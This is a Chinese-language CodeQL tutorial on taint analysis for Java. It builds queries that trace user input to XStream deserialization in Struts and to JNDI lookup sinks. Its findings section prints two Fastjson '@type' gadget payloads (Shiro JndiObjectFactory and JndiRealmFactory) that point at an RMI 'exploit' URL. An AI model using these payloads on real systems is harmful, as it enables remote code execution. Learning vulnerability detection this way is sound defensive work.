codeql学习——污点分析
字数 724 2025-08-20 18:18:17
CodeQL 污点分析实战教程
1. CodeQL 基础概念
1.1 污点分析简介
污点分析是一种追踪用户可控输入(Source)到敏感操作(Sink)的数据流技术,用于发现潜在的安全漏洞。
1.2 关键术语
- Source: 用户可控的输入点
- Sink: 可能产生危险的操作点
- Taint Tracking: 污点追踪,分析数据从Source到Sink的传播路径
2. CodeQL 查询基础
2.1 方法查询
2.1.1 根据方法名查询
import java
from Method method
where method.hasName("toObject")
select method
2.1.2 根据类名和方法名查询
import java
from Method method
where method.hasName("fromXML")
and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream")
select method
2.1.3 根据接口名和方法名查询
import java
from Method method
where method.hasName("toObject")
and method.getDeclaringType().getAnAncestor().hasQualifiedName(
"org.apache.struts2.rest.handler", "ContentTypeHandler")
select method
2.2 方法调用查询
2.2.1 基本方法调用查询
import java
from MethodAccess call, Method method
where method.hasName("toObject")
and method.getDeclaringType().getAnAncestor().hasQualifiedName(
"org.apache.struts2.rest.handler", "ContentTypeHandler")
and call.getMethod() = method
select call
2.2.2 获取方法调用的参数
import java
from MethodAccess call, Method method
where method.hasName("toObject")
and method.getDeclaringType().getAnAncestor().hasQualifiedName(
"org.apache.struts2.rest.handler", "ContentTypeHandler")
and call.getMethod() = method
select call.getArgument(0)
3. 污点分析实战
3.1 基本污点分析框架
import java
import semmle.code.java.dataflow.DataFlow
class MyConfig extends DataFlow::Configuration {
MyConfig() { this = "Myconfig" }
override predicate isSource(DataFlow::Node source) {
// 定义Source
}
override predicate isSink(DataFlow::Node sink) {
// 定义Sink
}
}
3.2 Struts 反序列化漏洞分析
import java
import semmle.code.java.dataflow.DataFlow
class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration {
StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" }
override predicate isSource(DataFlow::Node source) {
exists(Method method |
method.hasName("toObject")
and method.getDeclaringType().getAnAncestor().hasQualifiedName(
"org.apache.struts2.rest.handler", "ContentTypeHandler")
and source.asParameter() = method.getParameter(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call, Method method |
method.hasName("fromXML")
and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream")
and call.getMethod() = method
and sink.asExpr() = call.getArgument(0)
)
}
}
from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select source, sink
3.3 Fastjson JNDI 反序列化链分析
3.3.1 定义JNDI方法
class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context")
and this.hasName("lookup")
}
}
3.3.2 完整污点分析查询
/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph
class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context")
and this.hasName("lookup")
}
}
class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }
override predicate isSource(DataFlow::Node source) {
exists(FieldAccess fac |
(fac.getSite().getName().indexOf("get")=0
or fac.getSite().getName().indexOf("set")=0)
and source.asExpr() = fac
)
}
override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call |
call.getMethod() instanceof JNDIMethod
and sink.asExpr() = call.getArgument(0)
)
}
}
from MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, sink.getNode()
3.3.3 发现的漏洞链
-
org.apache.shiro.jndi.JndiObjectFactory
String input = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\", \"resourceName\":\"rmi://127.0.0.1:9050/exploit\"}"; Object obj = JSON.parseObject(input); -
org.apache.shiro.realm.jndi.JndiRealmFactory
String input = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":\"rmi://127.0.0.1:9050/exploit\"}"; Object obj = JSON.parseObject(input);
4. 高级技巧
4.1 减少误报
通过限制Source必须来自getter/setter方法:
override predicate isSource(DataFlow::Node source) {
exists(FieldAccess fac |
(fac.getSite().getName().indexOf("get")=0
or fac.getSite().getName().indexOf("set")=0)
and source.asExpr() = fac
)
}
4.2 路径查询
在VS Code中查看数据流路径:
- 右键点击查询窗口选择"CodeQL: Run Query"
- 在Results视图中展开结果查看数据流步骤
- 点击每个步骤查看源代码